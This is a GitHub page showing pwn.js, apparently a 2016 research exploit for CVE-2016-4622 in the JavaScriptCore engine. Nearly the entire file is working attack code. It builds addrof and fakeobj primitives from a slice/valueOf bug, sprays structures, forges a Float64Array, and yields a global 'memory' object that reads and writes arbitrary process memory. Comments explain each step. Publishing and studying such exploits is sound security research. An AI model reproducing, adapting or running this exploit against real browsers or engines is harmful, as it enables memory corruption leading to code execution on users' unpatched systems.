-
Notifications
You must be signed in to change notification settings - Fork 37
/
pwn.js
169 lines (142 loc) · 6.73 KB
/
pwn.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
//
// Main exploit module. Exploits the bug and
// provides a 'memory' object which can be used
// to read and write arbitrary memory addresses.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js and int64.js
//
// Core exploit primitives.
// CVE-2016-4622 gives us two high level exploitation primitives: leaking of addresses
// of JavaScript objects and the ability to create our own fake JavaScript objects.
// Return the address of the given JavaScript object or string.
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});
return Int64.fromDouble(b[3]);
}
// Return a JavaScript value that contains a JSObject pointer to the given address.
// This allows crafting of fake JavaScript objects in the VM.
function fakeobj(addr) {
var a = []
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
return a.slice(0, {valueOf: function() { a.length = 0; a = [addr]; return 4; }})[3];
}
// Check if the engine is vulnerable.
function isVulnerable() {
return !isNaN(addrof({}).asDouble());
}
// Using the primitives above, this function sets up an arbitrary memory read/write primitive.
// It creates a global 'memory' object that can the be used to read from and write to arbitrary addresses.
function pwn() {
var structs = [];
function sprayStructures() {
// The StructureIDTable can contain holes (these contain the index of the next free slot,
// kind of like a freelist, just with indices). Since there could be a lot of free entries
// in the table our spray must be somewhat large.
function randomString() {
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
}
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
structs.push(a); // keep the Structure objects alive.
}
}
// The plan is to
// 0. Create a lot of Structures for Float64Array instances
// 1. Setup a fake Float64Array inside another object's inline properties.
// The data pointer points into a Uint8Array.
// 2. Since we don't know the correct structure ID of a Float64Array instance,
// we find it using 'instanceof'.
// 3. We now have an arbitrary read+write primitive since we control the data pointer
// of an Uint8Array.
// 4. We need to fix up a few things so the garbage collector won't crash the process.
// Set up lot's of structures for Float64Array instances.
sprayStructures();
// Create the array that will be used to read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
// Create fake JSObject.
print("[*] Setting up container object");
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess.
// JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)
// during start up. Avoid these by picking a high initial ID.
0x0, // m_indexingType, None
0x27, // m_type, Float64Array (doesn't really matter, will be different for older versions)
0x18, // m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: false, // Some arbitrary value, we'll fix this up at the end.
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
print("[*] Fake JSObject @ " + address);
var fakearray = fakeobj(address);
// From now on until we've set the butterfly pointer to a sane value (i.e. nullptr)
// a GC run would crash the process. Thus, operations performed now should be
// as fast as possible.
// Find a StructureID for a Float64Array instance.
while (!(fakearray instanceof Float64Array)) {
// Try to avoid heap allocations here, we don't want to trigger GC.
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.asJSValue();
}
// Maybe shouldn't print stuff here.. :P
print("[*] Float64Array structure ID found: " + jsCellHeader.toString().substr(-8));
//
// We now have an arbitrary read+write primitive since we can overwrite the
// data pointer of an Uint8Array with an arbitrary address.
//
// Optimization: force JIT compilation for these methods.
//
memory = {
read: function(addr, length) {
print("[<] Reading " + length + " bytes from " + addr);
fakearray[2] = addr.asDouble();
var a = new Array(length);
for (var i = 0; i < length; i++)
a[i] = hax[i];
return a;
},
readInt64: function(addr) {
return new Int64(this.read(addr, 8));
},
write: function(addr, data) {
print("[>] Writing " + data.length + " bytes to " + addr);
fakearray[2] = addr.asDouble();
for (var i = 0; i < data.length; i++)
hax[i] = data[i];
},
writeInt64: function(addr, val) {
return this.write(addr, val.bytes());
}
};
// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
var empty = {};
var header = memory.read(addrof(empty), 8);
memory.write(addrof(container), header);
// Copy the JSCell and Butterfly (will be nullptr) from an existing Float64Array.
var f64array = new Float64Array(8);
header = memory.read(addrof(f64array), 16);
memory.write(addrof(fakearray), header);
// Set valid flags as well: make it look like an OversizeTypedArray
// for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
memory.write(Add(addrof(fakearray), 24), [0x10,0,0,0,1,0,0,0]);
print("[+] All done!");
// Root the container object so it isn't garbage collected.
// This will allocate a butterfly for the fake object and store a reference to the container there.
// The fake array itself is rooted by the memory object (closures).
fakearray.container = container;
}